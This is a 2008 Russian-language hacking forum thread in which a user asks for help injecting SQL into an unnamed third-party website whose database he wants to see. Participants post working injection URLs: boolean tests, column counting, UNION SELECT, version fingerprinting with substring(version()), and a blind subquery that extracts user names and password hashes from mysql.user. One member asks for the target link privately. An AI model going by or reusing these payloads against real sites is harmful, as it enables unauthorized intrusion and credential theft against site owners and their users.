Нужна помощь по Sql Inj

Discussion in 'Песочница' started by DarkWorm, 1 Jun 2008.

  1. DarkWorm

    DarkWorm New Member

    Joined:
    31 May 2008
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Всем доброго времени суток!

    Вот и мне пришлось перейти из читателей в вопрошатели.

    Есть сайт в БД которого хотелось бы заглянуть.
    Место для SQL INJ http://site//news.cfm?id=1%20and%201=1 - работает отлично.

    Странности начинаются при подборе количества полей с помощью GROUP BY, если значение больше количества столбцов все нормально - ошибка с неизвестным столбцом. Но если GROUP BY 1, то все равно ошибка:
    Code:
    Error Occurred While Processing Request
    Error Diagnostic Information
    ODBC Error Code = 51 ()
    
    [MERANT][ODBC MySql driver][MySql]You have an error in your SQL syntax.
    Check the manual that corresponds to your MySQL server version for the right syntax to use near 'GROUP BY 1' at line 1
    
    The error occurred while processing an element with a general identifier of (CFQUERY),
    occupying document position (16:1) to (16:42) in the template file /ххх/news.cfm.
    
    Query String: id=1%20GROUP%20BY%201
    
    Ну да не беда, выяснить количество столбцов можно и так - их там 14.
    Но вот news.cfm?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14
    тоже не получается, ошибка
    Code:
    Error Occurred While Processing Request
    Error Diagnostic Information
    ODBC Error Code = 51 ()
    
    [MERANT][ODBC MySql driver][MySql]You have an error in your SQL syntax.
    Check the manual that corresponds to your MySQL server version for the right syntax
    to use near ' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14' at line 1
    
    The error occurred while processing an element with a general identifier of (CFQUERY),
    occupying document position (11:1) to (11:36) in the template file /xxx/news.cfm.
    
    Query String: id=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14
    
    Если после id=-1 ставить какие-либо знаки, то именно они вызывают ошибку, Любой из видов комментария в конце строки ни чего не меняет. На вид ни чего не фильтруетя, но запросы не выполняются.

    Что происходит, почему не получается выполнить запрос, где ошибка?

    З.Ы. Судя по приметам мускул старый, он не знает INFORMATION_SCHEMA.TABLES. Думал может он на столько стар что не знает про UNION, но и корректные на вид зпросы без него не выполняет.
     
  2. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    у меня подозрения, что ошибка при UNION действительно возникает из-за старой версии MySQL (меньше четвертой)
     
  3. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Попробуй substring юзать...подзапросы в третьей версии рулят :)
     
  4. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    сравни
    Code:
    http://site/page.cfm?id=216+and+substring(version(),1,1)=5/*
    http://site/page.cfm?id=216+and+substring(version(),1,1)=4/*
    http://site/page.cfm?id=216+and+substring(version(),1,1)=3/*
    для 5.4.3 ветки соответственно определение версий
     
  5. DarkWorm

    DarkWorm New Member

    Joined:
    31 May 2008
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Спасибо за совет.

    Таким образом выяснил версию - 4.0.1, а Union вроде как с 4.1. :(
    Дальнейшее напрваление пока понятно.
     
  6. DarkWorm

    DarkWorm New Member

    Joined:
    31 May 2008
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Набросал на перле перебиралку по дереву, получилась полная версия "4.0.18-standard", с user() и database() естественно тоже все ок.

    Вроде все было понятно, но тут снова грабли - не работает
    id=1%20and%20ascii(substring((select%20concat_ws(0x3a,user,password)%20from%20mysql.user),1,1))=61

    говорит
    You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'select concat_ws(0x3a,user,password) from mysql.user),1,1))=61'

    Чем ему select не угодил?
     
  7. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    ты же сам написал что 4.0.18, а подзапросы у нас с 4.1

    последнее что тут можно попробовать - есть ли файл прив у твоего юзверя, а также попробовать догадаться нет ли именно в той табле где ты находишься юзерских данных, в чем я сомневаюсь, у тебя вероятней всего табла новостей или чего-нибудь подобного

    ЗЫ ты маленько перепутал. union c 4, подзапросы с 4.1 )
     
    #7 darky, 3 Jun 2008
    Last edited: 3 Jun 2008
    1 person likes this.
  8. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    ссылку кинь в пм
     
    _________________________
Loading...